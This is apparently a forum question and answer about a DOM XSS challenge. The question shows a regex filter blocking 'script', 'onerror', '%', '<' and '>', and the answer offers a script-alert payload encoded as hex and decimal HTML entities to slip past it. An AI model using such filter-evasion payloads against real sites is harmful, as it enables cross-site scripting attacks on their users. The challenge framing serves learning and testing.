0

I'm trying to solve an dom xss challenge where filter used is :

var anchor = window.location.hash.substring(1);
if (window.location.href.match(/(script|javascript|src|onerror|%|<|>)/g)) {
        alert('xss detected');

After filter is bypassed location hash is written on page through document.write. I can't think of working solution since % is in regex , so no hex and <> is also in filter. Any hint or suggestion in appreciated.

0

1 Answer 1

3

There's more than just normal Hex encoding! There's also Hex Entities.

<script>alert("xss")</script>

Is equal to:

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

There's also decimal value: &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#120&#115&#115&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62

Hopefully this'll aid you.

Not the answer you're looking for? Browse other questions tagged or ask your own question.